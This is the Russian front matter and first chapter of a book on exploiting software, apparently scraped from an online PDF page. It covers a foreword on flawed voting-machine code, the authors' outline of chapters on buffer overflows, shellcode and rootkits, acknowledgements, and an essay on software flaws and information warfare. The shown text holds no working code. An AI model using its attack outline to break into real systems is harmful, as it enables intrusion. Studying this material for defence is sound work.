Взлом программного обесспечения. Анализ и использлвание кода [Gю Khogland] (pdf) читать онлайн

Книга в формате pdf! Изображения и текст могут не отображаться!


 [Настройки текста]  [Cбросить фильтры]

Со держание

13

Посвящается светлой памяти
Нэнси Симоне МакГроу
(1939–2003)

14

Предисловие

Предисловие
В начале июля 2003 года мне позвонил Дэвид Дилл (David Dill) — профессор в
области информационных технологий Стэнфордского университета. Дилл рассказал
мне, что в сети Internet был опубликован исходный код для электронной машины
голосования, которая была выпущена одним из крупнейших поставщиков подобного
оборудования, компанией Diebold Electron Systems. Он сказал, что стоит проверить
этот исходный код на наличие уязвимых мест. Такая возможность выпадает нечасто,
поскольку производители систем голосования обычно тщательно охраняют разрабо&
танное ими программное обеспечение. Нас потрясло то, что мы обнаружили: ошибок
в программном коде, включая и те, которые имели отношение к безопасности, было
настолько много, что хакер мог бы просто растеряться, какую атаку из всего доступ&
ного диапазона средств для взлома использовать первой (мы не рекомендуем ис&
пользовать такой метод, чтобы приводить хакеров в замешательство). Мы исследо&
вали большие, сложные фрагменты кода, к которому не давалось никаких поясне&
ний. В этом коде использовался только один статический ключ для шифрования
результатов голосования. Использовались небезопасные генераторы псевдослучай&
ных цифр и контрольные суммы без шифрования. Исследование журналов CVS
(Concurrent Versions System — система управления параллельными версиями) пока&
зало, что применялся собственный, “нестандартный” метод управления разработкой
программного кода.
Является ли пример с машиной голосования компании Diebold единственным
примером плохого контроля за качеством программного обеспечения? Мне так не
кажется. Многие компании наподобие Diebold стремятся выбросить на рынок свои
продукты раньше конкурентов. Побеждает компания с лучшей и наиболее богатой с
точки зрения функциональных возможностей системой. Согласно модели стимули&
рования, шансы на победу выше у той компании, которая первой представит на рын&
ке свой продукт, в котором будет максимум возможностей, а не той, программа ко&
торой будет более безопасна в использовании. Создать грамотную систему безопас&
ности довольно сложно, а результат не всегда оправдывается в материальном
смысле. Компании Diebold просто не повезло: программный код ее продукта был об&
сужден в открытом форуме, что показало возможность его полного взлома. Боль&
шинство компаний чувствуют себя в относительной безопасности при условии, что
независимые аналитики получают возможность просмотра их кода при жестких ог&
раничениях неразглашения. Только когда они попадают под огонь критики, такие
компании уделяют внимание разрекламированными ими ранее средствам обеспече&
ния безопасности. Программный код для машины голосования компании Diebold
был не первой исследованной мной сложной системой с массой ошибок, “затраги&
вающих” безопасность программы. Почему же так трудно создать безопасное про&
граммное обеспечение?
Ответ прост. Все дело в сложности. Любой программист знает, что для решения
одной и той же задачи с помощью средств программирования существует множество
приемлемых вариантов. Важным вариантом выбора является язык программирова&
ния. Нужно ли вам удобство арифметических указателей и предоставляемых ими
возможностей для оптимизации производительности программ, или требуется “эко&
номный” язык, который не допускает переполнения буферов, но лишает программи&
ста некоторых возможностей? Для решения каждой задачи существует множество

Предисловие

15

доступных алгоритмов, параметров и структур данных. Для каждого блока кода
можно выбирать разные имена переменных, способ комментария и даже метод его
добавления к основному тексту программы. Каждый программист — уникальная
личность, и каждый делает свой уникальный выбор. Большие проекты создаются
командами программистов, и различные программисты должны понимать и изме&
нять код других программистов. Достаточно трудно отредактировать свой собствен&
ный код, не говоря уж о программном обеспечении другого программиста. Очень
трудно избежать ошибок в средствах безопасности в программах, состоящих из со&
тен строк кода, а для программ с миллионами строк кода, например, в современных
операционных системах, это практически невозможно.
Однако сложные системы должны создаваться, и мы не можем просто сдаться и
сказать, что безошибочное программирование подобных систем невозможно. Мак&
Гроу и Хогланд провели огромную работу, чтобы объяснить, почему программное
обеспечение можно взламывать, рассказали, как именно работают программы атаки
и как избежать создания уязвимых программ. Вы можете удивиться: для чего демон&
стрировать, как работают программы взлома? Действительно, существует компро&
мисс, который должны учитывать профессионалы в области безопасности, между
сохранением в тайне и опубликованием программ атаки. В этой книге принята здра&
вая позиция, согласно которой единственный способ минимизировать количество
ошибок — это понять, почему появляются уязвимые места и как их используют ха&
керы. Поэтому эту книгу стоит прочесть любому человеку, который принимает уча&
стие в создании сетевого приложения или операционной системы.
Взлом программного обеспечения: руководство начинающего хакера — это лучшая
книга по теме обеспечения защиты приложений и уязвимых мест в программном
обеспечении, которую я когда&либо читал. Гари Мак&Гроу и Грег Хогланд давно изу&
чают эту науку. Первая книга Мак&Гроу, Java Security (Безопасность в Java), стала
основополагающим трудом по проблемам безопасности в среде выполнения Java&
приложений и концепции Novel по запуску непроверенного переносимого кода в
пределах надежного браузера. Следующая книга Мак&Гроу, Building Secure Software
(Создание безопасных приложений), стала классическим трудом, в котором проде&
монстрированы принципы построения приложений без уязвимых мест, многие из
которых описаны в этой книге. Хогланд имеет очень большой опыт разработки при&
ложений и практической реализации защиты от программ атаки.
После чтения этой книги вы будете удивляться не тому, как много систем было
взломано, а тому, сколько систем еще не взломано. Проведенный нами анализ про&
граммного кода электронной машины для голосования показал, что уязвимое про&
граммное обеспечение присутствует повсюду. Тот факт, что многие системы еще не
скомпрометированы, объясняется тем, что злоумышленники часто удовлетворяются
более легкими целями. Лично мне теперь будет не совсем приятно в следующий раз
идти на выборы, которые обслуживаются с помощью электронной машины голосо&
вания, работающей под управлением Windows. Возможно, я просто использую от&
крепительный талон для голосования, по крайней мере, в этом случае ошибка не бу&
дет вызвана недостатками программного обеспечения.
Авиэль Д. Рубин (Aviel D.Rubin)
Адъюнктпрофессор компьютерных наук, технический руководитель института
по информационной безопасности при университете Джона Хопкинса

16

Введение

Введение
Профессиональные программисты уже давно осознали всю важность вопроса о
безопасности программного кода. После выпуска в 2001 году книги Building Secure
Software (Создание безопасных приложений) авторов Виега и МакГроу, уже появи
лось огромное количество книг, в которых окончательно определена безопасность
как критически важный элемент программы.
Книга Building Secure Software предназначена для профессионалов в области про
граммного обеспечения от разработчиков до менеджеров и может использоваться
как пособие для создания более безопасного кода. Новая книга Взлом программного
обеспечения: руководство начинающего хакера предназначена для той же целевой ау
дитории, но имеет более конкретную специализацию по вопросам о поиске уязви
мых мест в программном обеспечении. Эта книга является особенно интересной для
специалистов в области защиты информации, которые хотят углубить свои знания,
включая группы “скорой компьютерной помощи” и высокоморальных хакеров.
Книга Взлом программного обеспечения: руководство начинающего хакера расска
зывает о том, как взламывать программный код, и о том, как преодолевать техниче
ские проблемы, с которыми сталкиваются специалисты в области безопасности. Ос
новной целью этой книги авторы видят помощь в обеспечении безопасности про
грамм, а не в защите от атак по сети.
Мы понимаем, что специалистам по обеспечению безопасности программ нужны
конкретные сведения о применении изложенного материала на практике. Проблема
в том, что такие простые и популярные методы используются поставщиками
“программ для обеспечения безопасной работы” в качестве универсальных решений
всех проблем (например, средства тестирования, принципы работы которых не из
вестны пользователю, так называемый “черный ящик”). Однако эти методы весьма
поверхностны и не раскрывают сути ошибок. Эта книга позволяет пройти весь путь
от рекламных заявлений до “самой сердцевины” каждой конкретной проблемы. Нам
нужно ясно понимать то, против чего мы собираемся бороться. И эта книга предна
значена именно для этой цели.

О чем эта книга
В этой книге подробно рассмотрены многие реальные программы атаки на при
ложения, объяснено, как и почему эти программы срабатывают, на чем основаны
шаблоны атаки и (в некоторых случаях) как можно выявить факт проведения атаки.
Параллельно читателям демонстрируются способы выявления новых уязвимых мест
в программном обеспечении и способы их использования для взлома компьютеров.
В главе 1, “Программное обеспечение — источник всех проблем”, описывается,
почему программное обеспечение является основным источником проблемы безо
пасности компьютерных систем. Авторы расскажут о трех основных проблемах при
использовании программного обеспечения — сложности, расширяемости и взаимо
действии в пределах сети, — и объяснят, почему проблема безопасности становится
все серьезней.
В главе 2, “Шаблоны атак”, рассказывается об ошибках в реализации и недостат
ках в архитектуре программ. Будет рассмотрена проблема обеспечения безопасности
открытой системы, а также будет показано, почему управление риском является

Введение

17

единственным надежным методом решения этой проблемы. В этой главе будут рас
смотрены две реальные программы атаки: одна очень простая, а вторая, наоборот,
сложная с точки зрения технической реализации. Авторы покажут, как шаблоны
атак согласуются с классической парадигмой сетевого взаимодействия.
Темой главы 3, “Восстановление исходного кода и структуры программы”, явля
ется восстановление исходного кода программы (reverse engineering). Злоумышлен
ники выполняют дизассемблирование, декомпиляцию и реконструирование про
грамм, чтобы понять, как они работают и как можно нарушить их работу. В этой гла
ве описываются малоизвестные методы анализа программ, включая идею
использования заплаты для составления плана возможной атаки. Речь пойдет о со
временном средстве, используемом хакерами для взлома программного кода, —
Interactive Disassembler (IDA) . Также подробно будет рассмотрено, на каких прин
ципах построены реальные программы взлома и как они работают.
В главах 4, “Взлом серверных приложений”, и 5, “Взлом клиентских программ”,
изучаются два аспекта модели клиент/сервер. В главе 4, “Взлом серверных прило
жений”, обсуждается получение данных с доверенных хостов, расширение привиле
гий, вставка вредоносного кода, отслеживание пути хранения файла и другие мето
ды проведения атак на программное обеспечение сервера. В главе 5, “Взлом клиент
ских программ”, рассказывается об атаках клиентских программ с помощью
служебных сигналов, сценариев и динамического кода. В обеих главах приведено
множество шаблонов и примеров реальных атак.
Созданию вредоносных входных данных посвящена глава 6, “Подготовка вредо
носных данных”. Изложенный в ней материал выходит далеко за пределы стандарт
ных сведений. Здесь обсуждаются: анализ по частям, отслеживание функций кода и
восстановление кода после синтаксического анализа. Особое внимание уделяется
созданию эквивалентных запросов с помощью различных методов шифрования.
Опятьтаки предоставляются как примеры реальных атак, так и выделены шаблоны
этих атак.
“Ночной кошмар” специалистов по обеспечению защиты информации — атаки на
переполнение буфера — являются темой главы 7, “Переполнение буфера”. В этой
главе подробно рассматривается сам механизм атак на переполнение буфера, при
том предположении, что читатели уже знакомы с общими принципами этих атак.
Будут рассмотрены: переполнение буфера во встроенных системах и в базах данных,
атаки на переполнение буфера для Javaпрограмм и эти же атаки на основе содер
жимого передаваемых данных. В главе 7, “Переполнение буфера”, также рассказыва
ется, как выявлять ошибки переполнения буфера всех видов, включая переполнения
буфера в стеке, арифметические ошибки, уязвимые места на основе строк формати
рования, переполнения буфера в куче, использование функции vtable в програм
мах на C++ и “трамплины”. Технология внедрения вредоносного кода подробно рас
смотрена для множества платформ, включая x86, MIPS, SPARC и PARISC. Кроме
того, изложены усовершенствованные методы атак, например встроенная защита и
использование переходов для обхода уязвимых механизмов обеспечения защиты. В
главе 7, “Переполнение буфера”, приведено огромное количество шаблонов атак.
Глава 8, “Наборы средств для взлома”, посвящена наборам средств для взлома
(rootkit), которые можно назвать вершиной искусства создания универсальных па
кетов для атаки. В этой главе основное внимание уделено программному коду для
реального набора средств для взлома систем под управлением Windows XP. Будут

18

Введение

рассмотрены перехваты вызовов, подмена выполняемых файлов, сокрытие запу
щенных файлов и процессов, атаки по сети и внесение изменений в двоичный код.
Также рассматриваются проблемы с аппаратным обеспечением, включая методы для
сокрытия наборов средств для взлома в EEPROM. Завершают главу несколько ко
ротких разделов, посвященных методам, используемым в усовершенствованных на
борах средств для взлома.
Итак, в книге Взлом программного обеспечения: руководство начинающего хакера
описан полный спектр возможных атак на программы, начиная от внедрения вредо
носного кода и заканчивая запуском скрытых наборов средств для взлома. С помо
щью шаблонов атак, примеров реального кода и программ атаки авторы доступно
раскрывают методы, ежедневно используемые хакерами для взлома чужих программ.

Как пользоваться этой книгой
Эта книга пригодится различным специалистам: системным администраторам, обес
печивающим безопасность сетей, специалистам по защите информации, консультирую
щим различные организации, хакерам, а также разработчикам программ и программи
стам, которые работают над созданием новых программ для обеспечения защиты.
Тем, кто отвечает за надежную работу компьютерной сети или работу про
грамм на системах пользователей, следует прочесть эту книгу, чтобы узнать о
типах уязвимых мест на контролируемых системах и способах их выявления.
Тем, кто консультирует различные организации по вопросам защиты, следует
прочесть эту книгу, чтобы быстро и эффективно выявлять и оценивать опас
ность уязвимых мест в системе безопасности.
Если перед вами поставлена задача победить в информационной войне с про
тивником, этой книгой можно воспользоваться, чтобы узнать, как проникнуть
во вражеские системы посредством программного обеспечения.
Разработчики программного обеспечения благодаря этой книге узнают, как
хакеры обращаются с созданными ими продуктами. В современном мире все
разработчики обязаны помнить о безопасности. Знания являются оружием,
позволяющим разобраться с реальными проблемами в области обеспечения
безопасности сетей.
Программисты, которые непосредственно заняты созданием кода программ
защиты, просто полюбят эту книгу.
Таким образом, эта книга в основном предназначена для специалистов в области
защиты информации, но она содержит полезные сведения для всех профессионалов
в области информационных технологий.

Не слишком ли опасна эта информация?
Очень важно понимать, что изложенные в книге сведения отнюдь не являются
новыми для сообщества хакеров. Некоторые из рассмотренных методов использова
лись еще в “незапамятные времена”. Целью авторов было ознакомить с некоторой
общедоступной информацией и повысить уровень знаний относительно безопасно
сти программного обеспечения.

Введение

19

Некоторые специалисты по защите информации могут быть обеспокоены тем,
что описание методов атаки может подтолкнуть многих людей к проверке их на
практике. Возможно, в этом есть доля истины, но хакеры всегда имели более разви
тую систему обмена информацией, нежели специалисты по защите. Информация
должна быть осмыслена и классифицирована профессионалами в области безопас
ности в целях определения наиболее приемлемых решений. Следует ли нам взять
быка за рога или лучше спрятать голову в песок?
Возможно, эта книга вас шокирует. Тем не менее, она позволит узнать много по
лезных сведений.

20

Благодарности

Благодарности
Создание этой книги потребовало достаточно много времени. Нам помогало
множество людей — и прямо, и косвенно. Хотя не обошлось без ошибок и недочетов,
но мы хотим разделить все похвалы с теми людьми, которые принимали участие в
процессе нашей работы.
Перечисленные ниже люди внесли важные замечания относительно материала
этой книги: Александр Антонов, Ричард Бейтлич (Richard Bejtlich), Найшал Бхала
(Nishchal Bhalla), Антон Чувакин, Грег Каммингс (Greg Cummings), Маркус Лич
(Marcus Leech), Маркус Ранум (Marcus Ranum), Джон Стивен (John Steven), Уолт
Стоунбюрнер (Walt Stoneburner), Герберт Томсон (Herbert Thompson), Картик Три
веди (Kartik Trivedi), Адам Янг (Adam Young) и большое количество анонимных
обозревателей.
Мы считаем своим долгом поблагодарить сотрудников издательства Addison
Wesley, особенно нашего редактора Карен Гетманн (Karen Getmann) и ее двух по
мощниц Эмили Фрей (Emely Frey) и Элизабет Здунич (Elizabeth Zdunich). Благода
рим за то, что они воплотили в жизнь этот казавшийся бесконечным проект.

Благодарности Грега
В первую очередь я должен поблагодарить своего бизнеспартнера, а теперь и
мою жену Пенни. Эта работа никогда не была бы выполнена без ее поддержки. От
дельное большое спасибо моей дочери Кэлси! В процессе создания книги многие
люди внесли свою лепту (в виде затраченного времени и технических консультаций)
в конечный результат. Большое спасибо Мэту Хагету за яркие идеи и обзор истори
ческих перспектив, необходимый для успеха книги. Кроме того, благодарю Шона
Брейкена (Shawn Bracken) и Джона Гэри (Jon Gary) за то, что они сидели в моем га
раже и использовали старую дверь вместо рабочего стола. Благодарю и Алвара
Флейка (Halvar Flake) за необходимые дополнения. Спасибо Дэвиду Айтелу (David
Aitel) за предоставление технических сведений по использованию методов атак с при
менением кода командного интерпретатора. Благодарю Джеми Батлер (Jamie Butler)
за прекрасные знания по наборам средств для взлома, а также благодарю Джефа и
Пинга Мосс (Jeff and Ping Moss).
Неоценимую помощью в подготовке этой книги к изданию оказал мой соавтор
Гари МакГроу, который планировал нашу работу. Большинство моих знаний были
получены самостоятельно, а Гари подвел необходимый научный базис под эти зна
ния. Он очень честный и откровенный человек. Добавьте ко всем этим качествам от
личные теоретические знания, прекрасно дополняющие мои практические навыки.
К тому же Гари хороший друг.

Благодарности Гари
Выражаю благодарность компании Citigal (http://www.citigal.com), которая пре
доставила просто прекрасное место для работы. Творческая атмосфера и приятные в
общении люди позволили работать с удовольствием (сколько времени было сэко
номлено изза отсутствия приступов хандры!). Особая благодарность административ
ной группе за организацию производственного процесса: Джефу Пейни (Jeff Payne),

Благодарности

21

Джефу Воас (Jeff Voas), Чарли Крю (Charlie Crew) и Карлу Левису (Karl Lewis).
В кабинете руководителя технического отдела, штат которого набирали профессио
налы своего дела Джон Стивен (John Steven) и Рич Милз (Rich Mills), мои таланты
раскрылись в полной мере. В прекрасную команду специалистов входят Френк
Чарон (Frank Charron), Тод МакЭнали (Tod McAnally) и Майк Дебнам (Mike
Debnam). Эти люди смогли воплотить многие теоретические идеи на практике.
Группой Software Security Group (SSG) от компании Cigital, основанной мной в
1999 году, теперь руководит Стен Виссеман (Stan Wisseman). Группа SSG продол
жает работать над распространением принципов безопасности для программного
обеспечения по всему миру. Хочется отдельно сказать “спасибо” членам этой коман
ды Брюсу Поттеру (Bruce Potter) и Пако Хоупу (Pako Hope), Пэту Хигинсу (Pat
Higgins) и Майку Фиретти (Mike Firetti). И наконец, особая благодарность Ивонне
Вайли (Yvonne Wiley), которая довольно удачно отслеживала мое местонахождение
на этой планете.
Эта книга никогда бы не появилась без моего соавтора Грега Хогланда. Его зна
ния использованы на каждой странице этой книги. Если вам понравятся техниче
ские детали этой книги, благодарите Грега.
Как и три мои предыдущие книги, эта книга появилась в результате совместных
усилий многих людей. Среди моих друзей, помогавших мне в изучении принципов
защиты информации, хочу назвать Росс Андерсон (Ross Anderson), Анни Энтон
(Annie Anton), Мэта Бишопа (Matt Bishop), Стива Белловина (Steve Bellovin), Бил
ла Чесвика (Bill Cheswick), Криспина Кована (Crispin Cowan), Дрю Дин (Drew
Dean), Джереми Эпштейна (Jeremy Epstain), Дейва Эванса (Dave Evans), Эда Фел
тена (Ed Felten), Ануп Гош (Anup Ghosh), Ли Гонг (Li Gong), Питера Ханимана
(Piter Honeyman), Майка Ховарда (Mike Hovard), Стива Кента (Steve Kent), Поля
Кочера (Paul Kocher), Карла Лэндвирха (Karl Landwerh), Патрика МакДэниэла
(Patrick McDaniel), Грега Морисетта (Greg Morrisett), Питера Ноймана (Piter
Neumann), Джона Пинкуса (John Pincus), Маркуса Ранума (Marcus Ranum), Ави
Рубина (Avi Rubin), Фреда Шнейдера (Fred Schneider), Брюса Шнейдера (Bruce
Schneider), Джина Спаффорда (Gene Spafford), Кэвина Салливана (Kevin Sullivan),
Фила Винейблеса (Phil Venables) и Дэна Воллача (Dan Wallach). Благодарю со
трудников DARPA (Defense Advanced Research Projects Agency) и AFRL (Air Force
Reseach Laboratory) за многолетнюю поддержку моих изысканий.
Но больше всего я хочу поблагодарить мою семью. Я признаюсь в любви Эми
Бэрли (Amy Barly), Джеку и Эли. Особая признательность моему отцу и моим
братьям.

22

От издательства

От издательства
Вы, читатель этой книги, и есть главный ее критик и комментатор. Мы ценим ва
ше мнение и хотим знать, что было сделано нами правильно, что можно было сде
лать лучше и что еще вы хотели бы увидеть изданным нами. Нам интересно услы
шать и любые другие замечания, которые вам хотелось бы высказать в наш адрес.
Мы ждем ваших комментариев и надеемся на них. Вы можете прислать нам бу
мажное или электронное письмо, либо просто посетить наш Webсервер и оставить
свои замечания там. Одним словом, любым удобным для вас способом дайте нам
знать, нравится или нет вам эта книга, а также выскажите свое мнение о том, как
сделать наши книги более интересными для вас.
Посылая письмо или сообщение, не забудьте указать название книги и ее авторов,
а также ваш обратный адрес. Мы внимательно ознакомимся с вашим мнением и обя
зательно учтем его при отборе и подготовке к изданию последующих книг. Наши ко
ординаты:
E-mail:

info@williamspublishing.com

WWW:

http://www.williamspublishing.com

Информация для писем из:
России:

115419, Москва, а/я 783

Украины:

03150, Киев, а/я 152

Глава 1

Программное обеспечение — источник
всех проблем

И

так, конечная цель взлома системы — это заставить данную систему “молить о
пощаде”, когда уже раскрыты все секреты установленных программ и хакеру
предоставлен доступ к командному интерпретатору с неограниченными правами.
Взлом компьютера практически всегда выполняется с помощью установленного
программного обеспечения. И чаще всего атакуемый компьютер не является рядо>
1
вой системой . Практически у всех современных компьютерных систем есть своя
“ахиллесова пята” в виде программного обеспечения. Благодаря этой книге вы уз>
наете, как взламывать программное обеспечение, и научитесь использовать уязви>
мые места программ, чтобы получить контроль над компьютером.
На сегодняшний день выпущено уже немало хороших книг по сетевой безопасно>
сти. Например, книга Брюса Шнейера (Bruce Schneier) Secrets and Lies (2000) пре>
доставляет читателям прекрасный обзор ситуации в области защиты информации,
причем эта книга содержит огромное количество великолепных примеров и мудрых
советов. Книга Hacking Exposed (автор Мак>Клур) является прекрасным руково>
дством для тех, кто хочет понять элементарные атаки (например, чтобы организо>
вать защиту). Умение противодействовать таким атакам тоже важно, но является
только первым шагом в правильном направлении. Вернуться на уровень элементар>
ных программ атаки не помешает для организации правильной защиты (или прове>
дения нужной атаки). С помощью сведений, изложенных в книге The Whitehat
Security Arsenal, можно защитить свою сеть от огромного количества атак. Книга
Security Engineering (автор Росс Андерсон, 2001) дает подробный аналитический об>
зор проблемы безопасности. Так зачем нужна еще одна книга по безопасности?
Шнейер в предисловии к своей книге Building Secure Software написал: “Мы бы не
тратили так много времени, денег и усилий на обеспечение безопасной работы в се>
ти, если бы у нас было более надежное программное обеспечение”. Затем он написал
следующее:
“Вспомните последние уязвимые места в программном обеспечении, о кото
рых вы узнали. Возможно, это был вредоносный пакет, который позволяет
1

Безусловно, большинство программ атаки предназначено для взлома стандартного про
граммного обеспечения, запущенного на стандартном компьютере, которые ежедневно ис
пользуются в коммерческих организациях. — Прим. авт.

24

Глава 1

хакеру взломать какойто сервер. Возможно, это была одна из бесчисленных
атак на переполнение буфера, используя которую злоумышленник получает
контроль над чужим компьютером, отправив специальное вредоносное со
общение. А возможно, это было уязвимое место в протоколе шифрования,
благодаря чему хакер может читать зашифрованные сообщения или обойти
систему аутентификации. Все это проблемы программного обеспечения”.
Среди того огромного количества материала, который был опубликован по теме
компьютерной безопасности, в центре внимания только очень небольшой части тру>
дов была первопричина всех проблем — ошибки в программном обеспечении. Мы
исследуем этот безбрежный океан ошибок в программах и научим вас прокладывать
правильный маршрут в этих бескрайних просторах.

Краткая история программного обеспечения
Современные компьютеры больше не являются громоздкими агрегатами разме>
ром с комнату, при обслуживании которых оператору приходилось заходить внутрь
компьютера. Теперь пользователи скорее носят компьютеры, чем заходят в них.
Среди тех революционных средств, которые позволили совершить это коренное
преобразование, можно назвать кинескоп, транзистор и чип на силиконовой под>
ложке, но самым главным все же является программное обеспечение.
Именно благодаря программному обеспечению компьютеры выделяются на
фоне других технологических новшеств. Блестящая идея перенастройки машины
для выполнения практически неограниченного количества задач одновременно
проста и гениальна. Эта идея очень долго оставалась просто теорией, до того как
удалось получить осязаемые результаты ее воплощения. При работе над своей
концепцией счетной машины в 1842 году Чарльз Бэббидж (Charles Babbage) вос>
2
пользовался помощью переводчика — леди Ады Лавлейс (Ada Lovelace) . Ада, ко>
торая сама себя называла “аналитиком (и метафизиком)” разбиралась в идее уст>
ройства не хуже, чем сам Бэббидж, но лучше выражала на словах те преимущества,
которые принесет создание этого устройства. Особенно это касается пояснений к
оригинальной работе. Она поняла, что счетная машина — это то, что теперь мы на>
зываем компьютером общего назначения. По ее словам, счетная машина была
предназначена для “подсчета и составления таблиц для выполнения любого дей>
ствия ... механизм дает возможность подсчитать значение любой неопределенной
функции любой степени сложности”. Уже тогда ей удалось выразить всю мощь
идеи программного обеспечения.
Согласно словарю университета Вебстера, слово software (программное обеспе>
чение) получило широкое распространение в 1960 году и поясняется следующим
образом:
“...что>то используемое или связанное с аппаратными средствами: например,
полный набор программ, процедур и пояснительной документации, связан>
ной с системой и особенно с компьютерной системой, в частности, компью>
терные программы...”
2

Более подробную информацию об Аде Лавлейс можно прочесть по адресу http://www.
sdsc.edu/ScienceWomen/lovelace.html.

Программное обеспечение — источник всех проблем

25

В 60х годах прошлого века появление “современных, высокоуровневых” языков
программирования, например Fortran, Pascal и C, позволило программному обеспе
чению выполнять все более сложные операции. Компьютеры стали больше опреде
ляться по тому, какое программное обеспечение на них запущено, а не по тому, ка
кими аппаратными средствами управляют программы. Появились и начали разви
ваться операционные системы. Были созданы первые сети, которые стали увеличи
ваться стремительными темпами. Причем этот рост был связан прежде всего с раз
3
витием программного обеспечения . Программное обеспечение стало необходимым.
Забавная вещь случилась с появлением Internet. Использование программного
обеспечения, которое было задумано для упрощения жизни отдельного человека,
стало противоречить правилам морали и этики. И совершенно права оказалась леди
Лавлейс, когда говорила, что оно позволяет выполнять “любые действия”, в том чис
ле и вредоносные действия, потенциально опасные действия и просто ошибочные
функции.
В процессе своего развития программное обеспечение стало выходить за рамки
технических устройств и стало проникать в различные сферы человеческой деятель
ности. Использование программного обеспечения в бизнесе и военной сфере стало
практически обыденным.
При ошибках в программах деловой мир несет колоссальные убытки. Программ
ное обеспечение управляет каналами снабжения, предоставляет доступ к глобальной
информации, позволяет управлять заводами и фабриками и используется для взаи
модействия с заказчиками. Любая ошибка в таком программном обеспечении может
привести к тяжелым последствиям:
предоставление конфиденциальных данных неавторизованным пользовате
лям (включая и хакеров);
выход из строя и “зависание” систем вследствие предоставления неправиль
ных данных;
возможность для хакера внедрять и выполнять программный код;
выполнение привилегированных команд со стороны хакера.
Распространение компьютерных сетей оказало огромное (и в основном негатив
ное) влияние на использование программного обеспечения. По сравнению с в начала
1970х годов сетью под названием ARPANET, глобальная сеть Internet ворвалась в
жизнь людей просто с непредсказуемой скоростью, гораздо быстрее, чем многие дру
гие технологии, включая электричество и телефон (см. рис. 1.1). Если Internet — это
машина, то программное обеспечение — это ее двигатель.
Объединение компьютеров в сети позволяет пользователям совместно использо
вать данные, программы и вычислительные ресурсы. При подключении компьютера
к сети он становится доступным с других удаленных компьютеров, что позволяет
географически удаленным пользователям получать данные или использовать ресур
сы этого компьютера. Программное обеспечение в реализации этих задач является
сравнительно новым и работает нестабильно. В современной быстроменяющейся
3

Существует теснейшая взаимосвязь между развитием аппаратных средств и программ
ного обеспечения. Тот факт, что современные аппаратные средства обладают огромными
возможностями и емкостью при небольших размерах, неразрывно связан с параллельным раз
витием программного обеспечения. — Прим. авт.

26

Глава 1
Телевидение
(1926)

100%

Электричество
Самолет
(1873)
(1903)

90%

Телефон
(1876)

Микроволновая печь
(1953)
Видеомагнитофон
(1952)

80%

Автомобиль
(1886)

70%
60%
50%
Мобильный ПК
телефон (1975)
(1983)

40%

Internet
(1991)

30%
20%
10%

6

1

1
11
6

11

10

96

10

91

86

81

76

71

66

61

56

46

51

41

36

31

26

21

16

6

11

0

0%
Годы

Рис. 1.1. Скорость внедрения различных технологий в годах. На оси x представлены годы (за
точку отсчета принят год внедрения или изобретения), а на оси y изображено проникновение
на рынок (в процентном отношении). О скорости внедрения можно судить по наклону различ
ных кривых. Очевидно, что Internet вошел в обиход намного быстрее (и оказал значительно
большее влияние на культуру), чем другие революционные технологии в истории человечества

экономике на компании, занимающиеся разработкой программного обеспечения,
оказывается сильное рыночное давление, в результате чего появляются все новые и
новые технологии. “Время выпуска на рынок” становится основным движущим
фактором, а главный лозунг — “сделать на вчера”. Чем дольше времени занимает
подготовка технологии к выпуску на рынок, тем выше вероятность коммерческого
провала. Поскольку тщательное создание технологий требует больших финансовых
вложений и времени, то зачастую программное обеспечение создается в спешке и без
надлежащего тестирования. Неаккуратность при разработке программного обеспе>
чения привела к тому, что сегодня в глобальной сети существуют миллиарды оши>
бок, которыми можно воспользоваться для взлома систем.
В большинство программ, предназначенных для взаимодействия по сети, добав>
лены функции безопасности. Хотя киношный стереотип о легко угадываемом пароле
в принципе соответствует действительности, но пароли только иногда останавлива>

Программное обеспечение — источник всех проблем

27

ют хакеров. Это относится только к тем злоумышленникам, которые “пытаются вой>
ти через парадную дверь”. Проблема в том, что многие механизмы, призванные за>
щитить программное обеспечение от взлома, сами являются программами и могут
оказаться целью более сложной атаки. Поскольку большинство средств безопасно>
сти представляют собой только часть программного обеспечения, эти проверки
можно обойти. И хотя все мы видели фильмы, в которых хакеры отгадывают пароли,
в реальной жизни хакеры “работают” с более сложными функциями безопасности.
Среди усовершенствованных систем безопасности и связанных с ними атак можно
назвать следующие:
контроль над тем, кому разрешено подключаться к конкретному компьютеру;
выявление подложных аутентификационных данных;
определение того, кто имеет право доступа к ресурсам совместно используе>
мого компьютера;
защита данных (особенно при передаче) с помощью шифрования;
место и способ хранения данных регистрационных журналов.
В течение 1990>х годов были обнаружены и представлены широкой обществен>
ности десятки тысяч ошибок в программном обеспечении, которые были связаны с
безопасностью. Наличие этих ошибок привело к распространению программ атаки.
К настоящему времени десятки тысяч так называемых “потайных ходов” созданы в
компьютерных сетях по всей планете. Это последствия взрыва хакинга в конце
XX века. Исходя из нынешнего состояния дел, прояснить ситуацию полностью ка>
жется практически невозможным, но мы предпримем попытку сделать это. Одна из
причин создания этой книги — вызвать конструктивные дискуссии по поводу ис>
тинных проблем, которые привели к появлению программ атаки, и оставить в про>
шлом “интересные”, но лишь поверхностные разговоры.

Программное обеспечение и информационные войны
Второй наидревнейшей профессией является война. Но даже такое древнее заня>
тие преобразуется в современном кибер>мире. Умение выстоять в информационной
войне предельно важно для каждого государства и корпорации, которые планируют
свое развитие (и выживание) в современном мире. Даже если нация не готовится к
информационной войне, то это делают ее противники, и неподготовленное государ>
ство будет иметь проигрышную позицию в будущих войнах.
Сбор информации критически важен для ведения войны. Поскольку информаци>
онная война ведется и за информацию в том числе, то она неразрывно связана со
4
сбором информации . Классическая разведка преследует четыре основные цели:
защита государства (и государственная безопасность);
помощь в военных действиях;
расширение политического влияния на мировом рынке;
увеличение экономической мощи.

4

Более подробную информацию по этой теме можно почерпнуть из книги Дороти Дэннинг
(Doroty Denning) Information Warfare & Security.

28

Глава 1

Хорошим шпионом всегда был тот, кто умел собирать и правильно распоряжать>
ся большими объемами секретной информации. В современную эпоху распределен>
ных вычислений это особенно справедливо. Если к секретной информации можно
получить доступ через сеть, для шпиона вовсе необязательно личное присутствие,
т.е. остается меньше шансов на то, что тебя обнаружат. Это также означает, что воз>
можности для сбора информации обходятся дешевле, чем традиционные средства
шпионажа.
Поскольку война неразрывно связана с экономикой, электронная война во мно>
гих случаях касается электронных счетов. Современные деньги — это просто набор
электронов, которые находятся в нужное время в нужном месте. Триллионы элек>
тронных долларов ежедневно передаются между государствами. Управление гло>
бальными сетями означает управление глобальной экономикой. Это и есть основная
цель информационной войны.

Электронный шпионаж
Некоторые аспекты информационных войн можно смело назвать электронным
шпионажем (digital tradecraft). В словаре этот термин поясняется как одно из
“средств и методов шпионажа...”.
